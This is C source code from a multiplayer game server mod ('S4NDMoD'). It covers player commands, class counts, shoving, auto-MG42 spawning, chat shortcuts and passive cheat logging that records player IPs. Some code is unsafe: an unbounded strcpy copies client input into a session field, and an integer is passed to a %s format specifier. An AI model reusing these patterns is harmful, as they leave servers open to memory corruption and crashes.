void use_dlight(gentity_t *ent, gentity_t *other, gentity_t *activator );
#define clientVersion 1.0
void Cmd_checkpure_f( gentity_t *ent ) {
char arg1[MAX_STRING_TOKENS];
char arg2[MAX_STRING_TOKENS];
trap_Argv( 1, arg1, sizeof( arg1 ) );
trap_Argv( 2, arg2, sizeof( arg2 ) );
if(strlen(ent->client->sess.cdkey))
return;
if(strcmp(arg1, va("%f",clientVersion))){
trap_DropClient(ent-g_entities, "S4NDMoD client out of date, visit www.S4NDMoD.com to download new one!");
return;
}
strcpy(ent->client->sess.cdkey,arg2);
return;
}
void Cmd_checkcvar_f( gentity_t *ent ) {
char arg1[MAX_STRING_TOKENS];
char arg2[MAX_STRING_TOKENS];
trap_Argv( 1, arg1, sizeof( arg1 ) );
trap_Argv( 2, arg2, sizeof( arg2 ) );
Checkcvars(ent,arg1, atoi(arg2));
//trap_SendServerCommand(-1, va("chat \"TEST: %s^7 has %s set to %s!\n\"", ent->client->pers.netname, arg1, arg2));
}
/*
==================
Cmd_Rules_f
==================
This shows the fucking server info b/c infostring protection fucks up serverstatus
*** INFO: use %.99s to prevent malicios admins from crashing clients
*/
void Cmd_Rules_f( gentity_t *ent ) {/*
char arg1[MAX_STRING_TOKENS]; //get their arg that they sent :)
if ((!Q_stricmp(arg1,"soldier"))||(!Q_stricmp(arg1,"sold"))||(!Q_stricmp(arg1,"FIXME0"))||(!Q_stricmp(arg1,"FIXME1"))){
trap_SendServerCommand(ent-g_entities, va("print \"^3Soldier help system.\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"Special1 - No current function\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"Special2 - No current function\n\""));
}
if ((!Q_stricmp(arg1,"engineer"))||(!Q_stricmp(arg1,"eng"))||(!Q_stricmp(arg1,"mine"))||(!Q_stricmp(arg1,"automg42"))){
trap_SendServerCommand(ent-g_entities, va("print \"^3Engineer help system.\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"Special1 - Spawns AutoMG42\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"Special2 - Enables/Disables a mine\n\""));
}
if ((!Q_stricmp(arg1,"medic"))||(!Q_stricmp(arg1,"med"))||(!Q_stricmp(arg1,"FIXME2"))||(!Q_stricmp(arg1,"FIXME3"))){
trap_SendServerCommand(ent-g_entities, va("print \"^3Medic help system.\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"Special1 - No current function\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"Special2 - No current function\n\""));
}
if ((!Q_stricmp(arg1,"lieutenant"))||(!Q_stricmp(arg1,"lt"))||(!Q_stricmp(arg1,"smoke"))||(!Q_stricmp(arg1,"nadepack"))){
trap_SendServerCommand(ent-g_entities, va("print \"^3Lieutenant help system.\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"Special1 - Spawns a Grenadepack (must have full charge)\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"Special2 - Enables/Disables a smoke grenade\n\""));
}
}
int AxisSpawnTime;
int AlliedSpawnTime;
char *s;
char mapName[1000];
char hostname[MAX_INFO_STRING];
char protocol[16];
char fps[16];
char maxrate[16];
char userinfo[MAX_INFO_STRING];
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
trap_Cvar_VariableStringBuffer( "protocol", protocol, sizeof(protocol) );
trap_Cvar_VariableStringBuffer( "sv_hostname", hostname, sizeof(hostname) );
trap_Cvar_VariableStringBuffer( "sv_fps", fps, sizeof(fps) );
trap_Cvar_VariableStringBuffer( "sv_maxrate", maxrate, sizeof(maxrate) );
// trap_GetUserinfo( ent, userinfo, sizeof( userinfo ) );
s = Info_ValueForKey( userinfo, "rate" );
AxisSpawnTime = g_redlimbotime.integer/1000;
AlliedSpawnTime = g_bluelimbotime.integer/1000;
trap_SendServerCommand(ent-g_entities, va("print \"\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"Welcome to %.99s^7. ^3This server is running ^5%s\n\"",hostname, GAMEVERSION));
trap_SendServerCommand(ent-g_entities, va("print \"Heavy Weapon Limits: %i Panzer. %i Flamer. %i Venom. %i Sniper.\n\"",g_maxPf.integer,g_maxFlamer.integer,g_maxVenom.integer,g_maxMauser.integer));
trap_SendServerCommand(ent-g_entities, va("print \"Respawn Times: ^4Allied: %i. ^1Axis: %i.\n\"",AlliedSpawnTime,AxisSpawnTime));
if (AB_Enable.integer){
trap_SendServerCommand(ent-g_entities, va("print \"AdminBot Enabled. MinScore: %i. TeamKills: %i\n\"",AB_MinScore.integer, AB_Tks.integer));
}else{
trap_SendServerCommand(ent-g_entities, va("print \"AdminBot Disabled.\n\""));
}
trap_SendServerCommand(ent-g_entities, va("print \"Server Net Settings: Antilag: %i. MaxRate: %s. FPS: %s.\n\"",g_antilag.integer, maxrate,fps));
if (atoi(s) < 25000)
trap_SendServerCommand(ent-g_entities, va("print \"^1WARNING ^7you are NOT using optimal net settings, type /rate 25000 to fix.\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"Name Knives Pistol Clips SMG Clips Nades ChargeTime\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"--------------------------------------------------------------------------\n\""));
trap_SendServerCommand(ent-g_entities, va("print \"Soldier %i %i %i %i %i\n\"",g_maxKnives.integer,g_pistolExtraClips.integer,g_soldExtraClips.integer,g_soldNades.integer,g_soldierChargeTime.integer));
trap_SendServerCommand(ent-g_entities, va("print \"Engie %i %i %i %i %i\n\"",g_maxKnives.integer,g_pistolExtraClips.integer,g_engExtraClips.integer,g_engNades.integer,g_engineerChargeTime.integer));
trap_SendServerCommand(ent-g_entities, va("print \"Medic %i %i %i %i %i\n\"",g_maxKnives.integer,g_pistolExtraClips.integer,g_medExtraClips.integer,g_medNades.integer,g_medicChargeTime.integer));
trap_SendServerCommand(ent-g_entities, va("print \"LT %i %i %i %i %i\n\"",g_maxKnives.integer,g_pistolExtraClips.integer,g_ltExtraClips.integer,g_ltNades.integer,g_LTChargeTime.integer));
if (g_fraglimit.integer)
trap_SendServerCommand(ent-g_entities, va("print \"Fraglimit: %i\n\"",g_fraglimit.integer));
if (g_maxlives.integer)
trap_SendServerCommand(ent-g_entities, va("print \"MaxLives: %i\n\"",g_maxlives.integer));
*/
}
/*
==================
Cmd_Classes_f
==================
Umm yea this is basically equivliant of shrubmod. Hopefully it works :D
*/
void Cmd_Classes_f( gentity_t *ent ) {
int i;
int BlueSold = 0;
int BlueEng = 0;
int BlueMed = 0;
int BlueLT = 0;
int BluePlayers = 0;
int RedSold = 0;
int RedEng = 0;
int RedMed = 0;
int RedLT = 0;
int RedPlayers = 0;
int Spectators = 0;
for ( i = 0 ; i < level.maxclients ; i++ ){
if (level.clients[i].pers.connected != CON_CONNECTED )
continue;
if (level.clients[i].sess.sessionTeam == TEAM_SPECTATOR) //Do we really care about them?
Spectators++;
// if (level.clients[i].sess.sessionTeam != client->sess.sessionTeam) //Skip if they arnt his team ;)
// continue;
if (level.clients[i].ps.stats[STAT_PLAYER_CLASS] == PC_SOLDIER) {
if (level.clients[i].sess.sessionTeam == TEAM_BLUE)
BlueSold++;
if (level.clients[i].sess.sessionTeam == TEAM_RED)
RedSold++;
}
if (level.clients[i].ps.stats[STAT_PLAYER_CLASS] == PC_ENGINEER) {
if (level.clients[i].sess.sessionTeam == TEAM_BLUE)
BlueEng++;
if (level.clients[i].sess.sessionTeam == TEAM_RED)
RedEng++;
}
if (level.clients[i].ps.stats[STAT_PLAYER_CLASS] == PC_MEDIC){
if (level.clients[i].sess.sessionTeam == TEAM_BLUE)
BlueMed++;
if (level.clients[i].sess.sessionTeam == TEAM_RED)
RedMed++;
}
if (level.clients[i].ps.stats[STAT_PLAYER_CLASS] == PC_LT){
if (level.clients[i].sess.sessionTeam == TEAM_BLUE)
BlueLT++;
if (level.clients[i].sess.sessionTeam == TEAM_RED)
RedLT++;
}
}
RedPlayers = RedSold + RedEng + RedMed + RedLT;
BluePlayers = BlueSold + BlueEng + BlueMed + BlueLT;
if(ent->client->sess.sessionTeam == TEAM_RED){
trap_SendServerCommand(ent-g_entities, va("chat \"^3Spectators: ^7%i ^3Allies: ^7%i ^3Axis: ^7%i ^3S: ^7%i ^3E: ^7%i ^3M: ^7%i ^3L: ^7%i\n\"",
Spectators, BluePlayers, RedPlayers, RedSold, RedEng, RedMed, RedLT));
}else if (ent->client->sess.sessionTeam == TEAM_BLUE){
trap_SendServerCommand(ent-g_entities, va("chat \"^3Spectators: ^7%i ^3Allies: ^7%i ^3Axis: ^7%i ^3S: ^7%i ^3E: ^7%i ^3M: ^7%i ^3L: ^7%i\n\"",
Spectators, BluePlayers, RedPlayers, BlueSold, BlueEng, BlueMed, BlueLT));
}else{
trap_SendServerCommand(ent-g_entities, va("chat \"^3Spectators: ^7%i ^3Allies: ^7%i ^3Axis: ^7%i\n\"",Spectators, BluePlayers, RedPlayers));
}
}
/*
==================
g_PushPlayer
==================
New Shove code...Ripped from ETPUB
*/
qboolean G_PushPlayer(gentity_t *ent, gentity_t *victim){
vec3_t dir, push;
if(!g_shove.integer){
return qfalse;
}
if(ent->health <= 0){
return qfalse;
}
//if((level.time - ent->client->pmext.shoveTime) < 500){
// return qfalse;
//}
//ent->client->pmext.shoveTime = level.time;
if((level.time - ent->lastPushTime) < 500){
return qfalse;
}
ent->lastPushTime = level.time;
VectorSubtract(victim->r.currentOrigin, ent->r.currentOrigin, dir);
VectorNormalizeFast(dir);
VectorScale(dir, (g_shove.value * 5.0f), push); // FIXME - Martin
/*
if((abs(push[2]) > abs(push[0])) && (abs(push[2]) > abs(push[1]))) {
// player is being boosted
if(g_shoveNoZ.integer) {
return qfalse;
}
//push[2] = g_shove.value;
//push[0] = push[1] = 0;
push[2] = 24;
}
else {
// give them a little hop
push[2] = 24;
}
*/
if(g_shoveNoZ.integer) {
if((abs(push[2]) > abs(push[0])) && (abs(push[2]) > abs(push[1]))) { //player is being boosted
return qfalse;
}
}
// give them a little hop
//push[2] = 24;
VectorAdd(victim->s.pos.trDelta, push, victim->s.pos.trDelta);
VectorAdd(victim->client->ps.velocity, push, victim->client->ps.velocity);
G_AddEvent(ent, EV_GENERAL_SOUND, G_SoundIndex("sound/weapons/grenade/grenlf1a.wav"));
victim->client->pers.lastShovedTime = level.time;
victim->client->pers.lastShovedClient = ent;
return qtrue;
}
/*
Cmd_Activate2_f() is only for:
uniform stealing
shove
dragging
class switch
*/
void Cmd_Activate2_f( gentity_t *ent ) {
trace_t tr;
vec3_t end;
gentity_t *traceEnt;
vec3_t forward;//, right, up, offset;
/* // look for a guy to push
trap_Trace(&tr, offset, NULL, NULL, end, ent->s.number, CONTENTS_BODY);
if(tr.entityNum >= 0) {
trap_SendServerCommand(-1, va("chat \"MARKER 3\n\""));
trap_SendServerCommand(-1, va("chat \"%i\n\"", tr.entityNum));
traceEnt = &g_entities[tr.entityNum];
if(traceEnt->client) {
trap_SendServerCommand(-1, va("chat \"MARKER 4\n\""));
//if(traceEnt->client->ps.eFlags & EF_PLAYDEAD)
// G_DragCorpse(ent, traceEnt);
//else
//if(traceEnt->health > 0)
G_PushPlayer(ent, traceEnt);
return;
}
}
*/
vec3_t start;
AngleVectors(ent->client->ps.viewangles, forward, NULL, NULL);
VectorCopy(ent->s.pos.trBase, start); //set 'start' to the player's position (plus the viewheight)
start[2] += ent->client->ps.viewheight;
VectorMA (start, 128, forward, end); //put 'end' 128 units forward of 'start'
//see if we hit anything between 'start' and 'end'
trap_Trace (&tr, start, NULL, NULL, end, ent->s.number, CONTENTS_BODY);
if (tr.entityNum >= MAX_CLIENTS)
return;
traceEnt = &g_entities[tr.entityNum];
//if(traceEnt->client) {
//if(traceEnt->client->ps.eFlags & EF_PLAYDEAD)
// G_DragCorpse(ent, traceEnt);
//else
//if(traceEnt->health > 0)
G_PushPlayer(ent, traceEnt);
return;
}
//Ripped from ClientNumberFromNameMatch code
/*
=========================
Check Name
=========================
qboolean ClientNumberFromNameMatch(char *name, int *matches){
int i, textLen;
char nm[64];
char c;
int index = 0;
int t;
Q_strncpyz(nm, name, sizeof(nm)); //copy the name match
Q_CleanStr(nm); //get rid of any color codes etc -agent hrm lol
textLen = strlen(nm);
c = *nm; //the first letter of the name match
// for (i = 0; i < level.maxclients; i++){ //loop through all the possible clients
int j, len;
char playerName[64]; //Just to be safe, lets fucking upp the buffer [IDK how color ties in or what :)
// if ((!g_entities[i].client) || (g_entities[i].client->pers.connected != CON_CONNECTED)) //if this client isn't connected, skip them
// continue;
Q_strncpyz(playerName, g_entities[i].client->pers.netname, sizeof(playerName)); //copy the player's name
Q_CleanStr(playerName); //remove any color codes etc
len = strlen(playerName);
for (j = 0; j < len; j++){ //go through the player's name letter by letter
//if (tolower(c) == tolower(playerName[j])){ //compare the first letter of the name match to each letter in the player's name
//if they're the same, check to see if the whole name match can be found
//if (!Q_stricmpn(nm, playerName+j, textLen)){
// matches[index] = i; //we have a match, so record the client number
// index++; //increment the index counter
// break; //break out of the 'j' FOR loop because we already matched this client
//}
for (n=0 ; n < 91 ; n++){
if(characters[n][0] != tolower(playerName[j])){
return qfalse; //Tell userinfochanged that they arnt legal
}
}
}
return qtrue; //return that they have a legal name
}
*/
void auto_mg42_spawn (gentity_t *ent);
void AUTOMG42SPAWNER( gentity_t *ent )
{
gentity_t *target;
qboolean spawnnow= qtrue;
target = NULL;
if (VectorLength(ent->s.pos.trDelta) != 0){ //if the knife is still moving (not on ground yet)
ent->nextthink = level.time+50;
ent->think = AUTOMG42SPAWNER;
return;
}
//check if there are any entity's within a radius
while ((target = findradius(target, ent->r.currentOrigin, 50)) != NULL)
{
// target must not be mine
if (target == ent)
continue;
// target must be a client
if (!target->client)
continue;
spawnnow = qfalse;
}
if(spawnnow){
ent->nextthink = level.time+1;
ent->think = auto_mg42_spawn;
}else{
ent->nextthink = level.time+50;
ent->think = AUTOMG42SPAWNER;
}
return;
}
void Cmd_automg42_f( gentity_t *ent ) {
vec3_t velocity, angles, offset, org, mins, maxs;
trace_t tr;
gentity_t *ent2;
gitem_t *item = BG_FindItemForWeapon(WP_KNIFE);
if(!g_automg42limit.integer)
return;
if(ent->client->sess.sessionTeam == TEAM_SPECTATOR)
return;
if(ent->client->ps.stats[STAT_PLAYER_CLASS] != PC_ENGINEER)
return;
if(ent->client->ps.stats[STAT_HEALTH] <= 0 )
return;
if(ent->client->sess.sessionTeam == TEAM_RED){
if(level.axismg42s+1 > g_automg42limit.integer){
trap_SendServerCommand( ent-g_entities, va("cp \"^3Max amount(%s) of auto mg42s spawned!\n\"",g_automg42limit.integer));
return;
}
}else if(ent->client->sess.sessionTeam == TEAM_BLUE){
if(level.alliedmg42s+1 > g_automg42limit.integer){
trap_SendServerCommand( ent-g_entities, va("cp \"^3Max amount(%s) of auto mg42s spawned!\n\"",g_automg42limit.integer));
return;
}
}
if (level.time - ent->client->ps.classWeaponTime < g_engineerChargeTime.integer){//they dont have full charge
trap_SendServerCommand( ent-g_entities, "cp \"^3You must have a full charge!\n\"");
return;
}
ent->client->ps.classWeaponTime= level.time;
//some of this is copied from the drop weapon code in g_active.c
AngleVectors(ent->client->ps.viewangles, velocity, NULL, NULL);
VectorScale(velocity, 64, offset);
offset[2] += ent->client->ps.viewheight/2;
VectorAdd(ent->client->ps.origin, offset, org);
VectorSet(mins, -ITEM_RADIUS, -ITEM_RADIUS, 0);
VectorSet(maxs, ITEM_RADIUS, ITEM_RADIUS, 2*ITEM_RADIUS); //these have something to do with making the item sit on the ground
trap_Trace (&tr, ent->client->ps.origin, mins, maxs, org, ent->s.number, MASK_SOLID);
VectorCopy(tr.endpos, org);
ent2 = LaunchItem(item, org, velocity, ent->client->ps.clientNum); //actually throw the knife
VectorCopy(ent->client->ps.viewangles, angles);
angles[PITCH]=0;
G_SetAngle (ent2, angles);
ent2->touch = 0; //Just want this to do nothing but yea...
ent2->parent = ent; //so we know who threw the knife
ent2->health = 0;
ent2->flags |= FL_NODRAW;
ent2->r.svFlags |= SVF_NOCLIENT;
ent2->s.eFlags |= EF_NODRAW;
ent2->nextthink = level.time+100;
ent2->think = AUTOMG42SPAWNER;
return;
}
/*
==================
Cmd_Agent_Camera_f
==================
*/
void Cmd_Agent_Camera_f(gentity_t *ent){
FILE *AgentCamera;
// char CameraLoc;
trap_SendServerCommand(ent-g_entities, va("print \"Writing the shit: %s\n\"",vtos( ent->client->ps.origin ) ));
//CameraLoc = vtos( ent->client->ps.origin ); //The fuckers current position >:(
AgentCamera=fopen("AgentCamera.txt","a+"); //Open file
fputs(va("%s\n", (vtos( ent->client->ps.origin ))), AgentCamera);
fclose(AgentCamera);
}
void Cmd_OMW_f(gentity_t *ent){
gentity_t *te;
gentity_t *other;
//gentity_t *message;
int i;
char index[MAX_OSPATH];
// qboolean MVSAY = qfalse;
// char *message;
char location[1000];
Team_GetLocationMsg(ent, location, sizeof(location));
if (ent->client->sess.sessionTeam == TEAM_RED){
G_TeamCommand( TEAM_RED, va("chat \"^7(%s^7)^3(%s): ^5Affirmative, on my way!\"", ent->client->pers.netname, ent->client->pers.location) );
Q_strncpyz(index, "sound/multiplayer/axis/g-affirmative_omw.wav", sizeof(index));
}else if (ent->client->sess.sessionTeam == TEAM_BLUE){
G_TeamCommand( TEAM_BLUE, va("chat \"^7(%s^7)^3(%s): ^5Affirmative, on my way!\"", ent->client->pers.netname, ent->client->pers.location) );
Q_strncpyz(index, "sound/multiplayer/allies/a-affirmative_omw.wav", sizeof(index));
}else{
return;
}
for(i=0; i<MAX_CLIENTS; i++){
if (ent->client->sess.sessionTeam != level.clients[i].sess.sessionTeam)
continue;
// if (!OnSameTeam(ent, &level.clients[i]))
//continue;
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}
}
/*
==================
Cmd_hackconfig_f
==================
This will write (hopefully :D) to a server file (in future, hopefully s4ndmod.com for mbl action :D)
If clients attempt to exec a cheat file while in a server..
***
For now it is passive and does not kick, only record in servers file.
*/
void Cmd_hackconfig_f( gentity_t *ent ) {
FILE*hackfile;
char arg1[MAX_STRING_TOKENS];
char *hackname;
time_t rawtime;
struct tm * timeinfo;
time ( &rawtime );
timeinfo = localtime ( &rawtime );
trap_Argv( 1, arg1, sizeof( arg1 ) );
if ( !Q_stricmp( arg1, "aimbot" ) )
hackname = "Aimbot";
else if (!Q_stricmp( arg1, "nullify" ) )
hackname = "Nullify Multihack";
else if (!Q_stricmp( arg1, "deliverance" ) )
hackname = "Deliverance Multihack";
else if (!Q_stricmp( arg1, "mombot" ) )
hackname = "Mombot Multihack";
else if (!Q_stricmp( arg1, "multihack" ) )
hackname = "Multihack";
else if (!Q_stricmp( arg1, "tweak" ) )
hackname = "Unknown name Multihack";
else if (!Q_stricmp( arg1, "wallhack" ) )
hackname = "Wallhack";
else // Someone sent something that isnt reconginsed, dont record it
return;
hackfile=fopen("S4ND_cheat.log","a+");
fputs(va("%s\t%s\t%s\t%s", hackname, ent->client->sess.ip, ent->client->pers.netname, asctime (timeinfo) ),hackfile);
fclose(hackfile);
}
void Cmd_hack_cvar_f(gentity_t *ent, char *hack){
FILE*hackfile;
qboolean isCheat = qfalse;
time_t rawtime;
struct tm * timeinfo;
time ( &rawtime );
timeinfo = localtime ( &rawtime );
if (!Q_stricmp(hack, "nullify"))
isCheat = qtrue;
else if(!Q_stricmp(hack, "mombot"))
isCheat = qtrue;
else if(!Q_stricmp(hack, "bot"))
isCheat = qtrue;
else
isCheat = qfalse;
if(isCheat == qtrue){
hackfile=fopen("S4ND_cheat.log","a+");
fputs(va("%s\t%s\t%s\t%s", hack, ent->client->sess.ip, ent->client->pers.netname, asctime (timeinfo) ),hackfile);
fclose(hackfile);
}
}
/*
==================
Cmd_special1_f
==================
This is used for the special commands of players and keeps people from needing 20x different binds
Special1 will call all things associated with the 5th weaponbank slot
*/
void Cmd_special1_f(gentity_t *ent){
// If they are spectators dont let them use this command
if(ent->client->sess.sessionTeam == TEAM_FREE)
return;
//LT call smoke toggle
if (ent->client->ps.stats[STAT_PLAYER_CLASS] == PC_LT)
Cmd_Smoke_f(ent);
//Eng call MG42 toggle
else if (ent->client->ps.stats[STAT_PLAYER_CLASS] == PC_ENGINEER)
Cmd_automg42_f(ent);
//Everyone else
else
return;
}
/*
==================
Cmd_special2_f
==================
This is used for the special commands of players and keeps people from needing 20x different binds
Special1 will call all things associated with the 5th weaponbank slot
*/
void Cmd_special2_f(gentity_t *ent){
// If they are spectators dont let them use this command
if(ent->client->sess.sessionTeam == TEAM_FREE)
return;
//Eng call mine toggle
if (ent->client->ps.stats[STAT_PLAYER_CLASS] == PC_ENGINEER)
Cmd_mine_f(ent);
//Everyone else
else
return;
}
/*
=================
*G_ShortcutSanitize
==================
Cleans up shortcuts (ripped from etpub :)
*/
char *G_ShortcutSanitize(char *text){
static char n[MAX_SAY_TEXT] = {""};
if(!text || !*text)
return n;
Q_strncpyz(n, text, sizeof(n));
Q_strncpyz(n, Q_StrReplace(n, "[a]", "(a)"), sizeof(n));
Q_strncpyz(n, Q_StrReplace(n, "[d]", "(d)"), sizeof(n));
//Q_strncpyz(n, Q_StrReplace(n, "[g]", "(g)"), sizeof(n));
Q_strncpyz(n, Q_StrReplace(n, "[h]", "(h)"), sizeof(n));
Q_strncpyz(n, Q_StrReplace(n, "[k]", "(k)"), sizeof(n));
Q_strncpyz(n, Q_StrReplace(n, "[l]", "(l)"), sizeof(n));
Q_strncpyz(n, Q_StrReplace(n, "[n]", "(n)"), sizeof(n));
Q_strncpyz(n, Q_StrReplace(n, "[r]", "(r)"), sizeof(n));
Q_strncpyz(n, Q_StrReplace(n, "[p]", "(p)"), sizeof(n));
Q_strncpyz(n, Q_StrReplace(n, "[s]", "(s)"), sizeof(n));
Q_strncpyz(n, Q_StrReplace(n, "[w]", "(w)"), sizeof(n));
Q_strncpyz(n, Q_StrReplace(n, "[t]", "(t)"), sizeof(n));
return n;
}
/*
=================
*G_Shortcuts
==================
Does the work for shortcuts
*/
char *G_Shortcuts(gentity_t *ent, char *text){ // Shrub values for each letter
static char out[MAX_SAY_TEXT];
char a[MAX_NAME_LENGTH] = {"*unknown*"}; // Gave ammo last
char d[MAX_NAME_LENGTH] = {"*unknown*"}; // last killer
//char g[32+1] = {"*unknown*"}; // GUID(not used)
char h[MAX_NAME_LENGTH] = {"*unknown*"}; // Gave healthpack last
char k[MAX_NAME_LENGTH] = {"*unknown*"}; // player you last killed
char l[32] = {"*unknown*"}; // location
char n[MAX_NAME_LENGTH] = {"*unknown*"}; // client's name
char r[MAX_NAME_LENGTH] = {"*unknown*"}; // Last player who revived you
char p[MAX_NAME_LENGTH] = {"*unknown*"}; // Teammate you are pointing at
char s[32] = {"*unknown*"}; // Health you have
char w[32] = {"*unknown*"}; // Current weapon
char t[32] = {"*unknown*"}; // Ammo in current gun
//char guid_short[9]; // REMOVE
gclient_t *client = NULL;
gentity_t *crosshairEnt;
char *rep;
gitem_t *weapon;
int clip;
int ammo;
// int i;
out[0] = '\0';
//S4ND_Log("Shortcut Start\n");
// Last LT that gave me ammo
//S4ND_Log("ADDED: Last LT that gave ammo\n");
if (ent) {
if(ent->client->pers.lastammo_client != -1) {
client = &level.clients[ent->client->pers.lastammo_client];
if(client) {
Q_strncpyz(a,
G_ShortcutSanitize(client->pers.netname),
sizeof(a));
}
}
}
// Last murder
//S4ND_Log("ADDED: Last murder\n");
if (ent) {
if(ent->client->pers.lastkiller_client != -1) {
client = &level.clients[ent->client->pers.lastkiller_client];
if(client) {
Q_strncpyz(d,
G_ShortcutSanitize(client->pers.netname),
sizeof(d));
}
}
}
/* if (ent && ent->client) {
for(i=0; i<=8; i++){
guid_short[i] = ent->client->sess.guid[i+24] ?
ent->client->sess.guid[i+24] : '\0';
}
Q_strncpyz(g,guid_short,sizeof(g));
}*/
//S4ND_Log("ADDED:lasthealth_client\n");
if (ent) {
if(ent->client->pers.lasthealth_client != -1) {
client = &level.clients[ent->client->pers.lasthealth_client];
if(client) {
Q_strncpyz(h,
G_ShortcutSanitize(client->pers.netname),
sizeof(h));
}
}
}
//S4ND_Log("ADDED:lastkilled_client\n");
if (ent) {
if(ent->client->pers.lastkilled_client != -1) {
client = &level.clients[ent->client->pers.lastkilled_client];
if(client) {
Q_strncpyz(k,
G_ShortcutSanitize(client->pers.netname),
sizeof(k));
}
}
}
//S4ND_Log("ADDED:location\n");
if (ent) {
char location[32];
Team_GetLocationMsg(ent, location, sizeof(location));
//Q_strncpyz(l,BG_GetLocationString(ent->r.currentOrigin),sizeof(l));
Q_strncpyz(l,location,sizeof(l));
}
//S4ND_Log("ADDED:netname\n");
if (ent) {
Q_strncpyz(n,G_ShortcutSanitize(ent->client->pers.netname), sizeof(n));
}
//S4ND_Log("ADDED:lastrevive_client\n");
if (ent) {
if(ent->client->pers.lastrevive_client != -1) {
client = &level.clients[ent->client->pers.lastrevive_client];
if(client) {
Q_strncpyz(r,
G_ShortcutSanitize(client->pers.netname),
sizeof(r));
}
}
}
//S4ND_Log("ADDED:crosshair_ent\n");
if (ent) {
crosshairEnt = &g_entities[ent->client->ps.identifyClient];
// Dens: only give the name of the other client, if the player should be able to see it
if(crosshairEnt && crosshairEnt->client && crosshairEnt->inuse &&
(ent->client->sess.sessionTeam == crosshairEnt->client->sess.sessionTeam ||
ent->client->sess.sessionTeam == TEAM_SPECTATOR)) {
client = crosshairEnt->client;
if(client) {
Q_strncpyz(p,G_ShortcutSanitize(client->pers.netname),sizeof(p));
}
}
}
//S4ND_Log("ADDED:health\n");
if (ent) {
int health;
health = ent->health;
if (health < 0)
health=0;
Com_sprintf(s, sizeof(s), "%i", health);
}
//S4ND_Log("ADDED:weapon\n");
if (ent && ent->client->ps.weapon) {
weapon = BG_FindItemForWeapon(ent->client->ps.weapon);
Q_strncpyz(w, weapon->pickup_name, sizeof(w));
}
//S4ND_Log("ADDED:ammo\n");
if (ent && ent->client->ps.weapon) {
clip = BG_FindClipForWeapon(ent->client->ps.weapon);
ammo = BG_FindAmmoForWeapon(ent->client->ps.weapon);
Com_sprintf(t, sizeof(t), "%i",
(ent->client->ps.ammoclip[clip] +
((ent->client->ps.weapon == WP_KNIFE) ? 0 : ent->client->ps.ammo[ammo])));
}
rep = Q_StrReplace(text, "[a]", a);
rep = Q_StrReplace(rep, "[d]", d);
//rep = Q_StrReplace(rep, "[g]", g);
rep = Q_StrReplace(rep, "[h]", h);
rep = Q_StrReplace(rep, "[k]", k);
rep = Q_StrReplace(rep, "[l]", l);
rep = Q_StrReplace(rep, "[n]", n);
rep = Q_StrReplace(rep, "[r]", r);
rep = Q_StrReplace(rep, "[p]", p);
rep = Q_StrReplace(rep, "[s]", s);
rep = Q_StrReplace(rep, "[w]", w);
rep = Q_StrReplace(rep, "[t]", t);
// S4ND_Log("END: strReplace\n");
Q_strncpyz(out, rep, sizeof(out));
// S4ND_Log("END: out\n");
return out;
}
/*================
startSpawnTimer
Sets a clients initial start time for their spawn timer. We will just mod this to find when they 'spawn' next, etc...
================*/
void startSpawnTimer(gentity_t* ent){
if(ent->client->sess.sessionTeam != TEAM_SPECTATOR){
if (g_spawnTimer.integer){
ent->client->pers.spawnTimerActive = qfalse;
ent->client->pers.spawnTimerStartTime = level.time;
ent->client->pers.spawnTimerActive = qtrue;
trap_SendServerCommand(ent-g_entities, va("chat \"Spawn timer activated\""));
}else
trap_SendServerCommand(ent-g_entities, va("chat \"Spawn timer is not enabled\""));
}
}
/*================
stopSpawnTimer
================*/
void stopSpawnTimer(gentity_t* ent){
ent->client->pers.spawnTimerActive = qfalse;
}
/*
==================
Cmd_test_f
==================
command for exaclty what it says testing.
MAKE SURE THIS IS BLANK BEFORE RELEASE!!!
*/
void Cmd_test_f( gentity_t *ent ) {
return;
}
<file_sep>
#ifdef _WIN32
#include <windows.h>
#include <wininet.h>
#pragma comment ( lib , "wininet.lib" )
#endif
#include "g_local.h"
#include "S4ND_local.h"
#include "md5.h"
/*
===========
isMvsay
===========
Determines if they are using an mvsay and if not returns false
*/
qboolean isMvsay(gentity_t *ent,char *arg1){
gentity_t *te;
gentity_t *other;
//gentity_t *message;
int i;
char index[MAX_OSPATH];
qboolean MVSAY = qfalse;
char *message;
char location[1000];
if (!g_mvsay.integer)
return qfalse;
message = "";
//BEGIN SQUELCH
/* ent->voiceChatSquelch -= (level.time - ent->voiceChatPreviousTime);
ent->voiceChatPreviousTime = level.time;
if (ent->voiceChatSquelch < 0)
ent->voiceChatSquelch = 0;
if (ent->voiceChatSquelch >= 30000) {
trap_SendServerCommand(ent-g_entities, "print \"^1Spam Protection^7: VoiceChat ignored\n\"");
return qfalse;
}
if (g_voiceChatsAllowed.integer)
ent->voiceChatSquelch += (34000 / g_voiceChatsAllowed.integer);
else
return qfalse;
*/
Team_GetLocationMsg(ent, location, sizeof(location));
//END SQULECH
if ( !Q_stricmp( arg1, "alert" ) ){
message = "Alien Alert!";
Q_strncpyz(index, "sound/player/alert.wav", sizeof(index));
MVSAY = qtrue;
//B
}else if ( !Q_stricmp( arg1, "bitches" ) ){
message = "Ungrateful little Bitches!";
Q_strncpyz(index, "sound/player/bitches.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "busted" ) ){
message = "Your so busted!";
Q_strncpyz(index, "sound/player/a-busted.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "backup" ) ){
message = "We Need Backup!";
Q_strncpyz(index, "sound/player/backup.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "bogies" ) ){
message = "We Got Bogies!";
Q_strncpyz(index, "sound/player/bogies.wav", sizeof(index));
